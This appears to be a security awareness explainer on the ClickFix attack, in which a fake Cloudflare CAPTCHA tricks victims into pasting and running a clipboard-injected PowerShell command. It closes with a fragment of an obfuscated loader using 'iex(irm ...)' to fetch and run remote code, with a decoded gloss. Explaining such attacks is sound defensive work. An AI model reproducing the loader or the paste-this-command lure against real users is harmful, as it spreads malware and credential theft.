ClickFix Attack Explained
A social engineering attack that tricks users into executing malicious PowerShell commands by impersonating Cloudflare's CAPTCHA verification.
The victim visits a compromised or malicious website. They're presented with what appears to be a legitimate Cloudflare CAPTCHA verification page. Everything looks authentic—the Cloudflare branding, the "Verify you are human" checkbox, and the security messaging.
After clicking the checkbox, a popup appears with "Verification Steps." This is where the attack diverges from legitimate Cloudflare behavior. The victim is instructed to press specific key combinations.
• Press
Windows + R (opens Run dialog)• Press
Ctrl + V (paste from clipboard)• Press
Enter to execute anythingThese are commands designed to execute code, not verify you're human.
1. Malicious script copies PowerShell command to clipboard
2. Win+R opens Windows Run dialog
3. Ctrl+V pastes the malicious command
4. Enter executes the payload
The Windows Run dialog now contains the malicious PowerShell command that was silently copied to the clipboard. If the user presses Enter, the malware payload executes with their user privileges.
• Download malware from a remote server
• Execute it directly in memory (fileless)
• Potentially install info-stealers, ransomware, or RATs
[ToInt16($ha80.Substring($i,2),16)];iex(irm $d3d6)
// Decoded behavior:
iex = Invoke-Expression (execute code)
irm = Invoke-RestMethod (download)
$d3d6 = Attacker's malware URL